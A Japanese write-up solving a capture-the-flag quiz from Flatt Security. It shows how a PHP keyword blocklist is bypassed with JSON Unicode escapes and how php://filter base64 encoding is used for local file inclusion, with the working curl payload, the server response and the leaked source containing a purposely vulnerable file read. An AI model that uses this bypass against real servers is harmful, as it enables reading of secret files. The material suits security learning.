flatt-security-developers-quiz1 https://twitter.com/flatt_security/status/1529416984785752065

方針

jsonの仕様でUnicode文字列が展開されるので、それを使ってフィルタリングを回避します。 次にphp://filter/convert.base64-encodeを使ってLocal File Inclusion(LFI)をします。

file_get_contents(“php://input”)

以下のphp://inputはリクエストのbodyから生のデータを読み込むことができ、 file_get_contents()はファイルの内容を文字列に読み込むます。

$query = file_get_contents("php://input");

file_get_contents

フィルタリングの回避方法の検討

次の$filter_listでフィルタリングされている文字列は、 PHPのwrapperというものに含まれています。 このフィルタをjsonのUnicode文字列を使って回避します。

また、以下のようにstripos()が使われているので、 大文字で回避することもできません。

stripos — Find the position of the first occurrence of a case-insensitive substring in a string

foreach ($filter_list as $filter) {
  if(stripos($query, $filter) !== false) {
    exit("Filtered!");
  }
}

LFIの検討

次のjson_decode($query, true)['fn']の部分は、 {"fn": "hoge"}のようなjson形式を求められています。 "hoge"の部分にphp://...というPHPのsupported protocol/wrapperを与えて、 LFIするというのが、この問題の解法です。

$output = file_get_contents(json_decode($query, true)['fn']);

また、LFIで読み込んだファイルに<?phpという文字列があると終了してしまうので、 php://filter/convert.base64-encodeを使ってbase64でエンコードした文字列を出力します。

フィルタリングの回避とLFI

Using php://filter for local file inclusionを参考にして次のようなURLを考えます。

php://filter/convert.base64-encode/resource=index.php

このURLにはフィルタリングされている文字が含まれるので、それをUnicode文字列に置き換えます。

{"fn": "p\u0068p:\u002F\u002Ffi\u006Cter\u002Fconvert\u002Ebase64-encode\u002Fresource=index\u002Ep\u0068p"}

解答

curl https://2205bison.twitter-quiz.flatt.training/ -d '{"fn": "p\u0068p:\u002F\u002Ffi\u006Cter\u002Fconvert\u002Ebase64-encode\u002Fresource=index\u002Ep\u0068p"}'
{"data":"PD9waHAKCi8qIENhbiB5b3UgbGVhayB0aGUgc2VjcmV0PyAqLwplcnJvcl9yZXBvcnRpbmcoMCk7CmRlZmluZSgiU0VDUkVUIiwgIkdPT0RfSk9CX0ZJTkRJTkdfVEhFX1NFQ1JFVF9YT1hPIik7CgovKiBXQUYgKi8KJHF1ZXJ5ID0gZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CmlmKCEkcXVlcnkpewogIGV4aXQoIlBsZWFzZSBzZW5kIEpTT04gZGF0YS4uIik7Cn0KJGZpbHRlcl9saXN0ID0gWwogICJwaHAiLAogICJmaWwiLAogICJkYXQiLAogICJ6aXAiLAogICJwaGEiLAogICJleHAiLAogICIvIiwKICAiLiIsCl07CmZvcmVhY2ggKCRmaWx0ZXJfbGlzdCBhcyAkZmlsdGVyKSB7CiAgaWYoc3RyaXBvcygkcXVlcnksICRmaWx0ZXIpICE9PSBmYWxzZSkgewogICAgZXhpdCgiRmlsdGVyZWQhIik7CiAgfQp9CgovKiBSZWFkIGZpbGUgZnJvbSBKU09OICovCiRvdXRwdXQgPSBmaWxlX2dldF9jb250ZW50cyhqc29uX2RlY29kZSgkcXVlcnksIHRydWUpWydmbiddKTsKCi8qIEJsb2NrIHJlYWRpbmcgUEhQIGZpbGVzICovCmlmKHN0cmlwb3MoJG91dHB1dCwgIjw\/cGhwIikgIT09IGZhbHNlKXsKICBleGl0KCJGaWx0ZXJlZCEiKTsKfQoKZXhpdChqc29uX2VuY29kZShbImRhdGEiID0+ICRvdXRwdXRdKSk7Cgo\/Pgo="}

base64 decode

<?php

/* Can you leak the secret? */
error_reporting(0);
define("SECRET", "GOOD_JOB_FINDING_THE_SECRET_XOXO");

/* WAF */
$query = file_get_contents("php://input");
if(!$query){
  exit("Please send JSON data..");
}
$filter_list = [
  "php",
  "fil",
  "dat",
  "zip",
  "pha",
  "exp",
  "/",
  ".",
];
foreach ($filter_list as $filter) {
  if(stripos($query, $filter) !== false) {
    exit("Filtered!");
  }
}

/* Read file from JSON */
$output = file_get_contents(json_decode($query, true)['fn']);

/* Block reading PHP files */
if(stripos($output, "<?php") !== false){
  exit("Filtered!");
}

exit(json_encode(["data" => $output]));

?>

SECRETの文字列はGOOD_JOB_FINDING_THE_SECRET_XOXO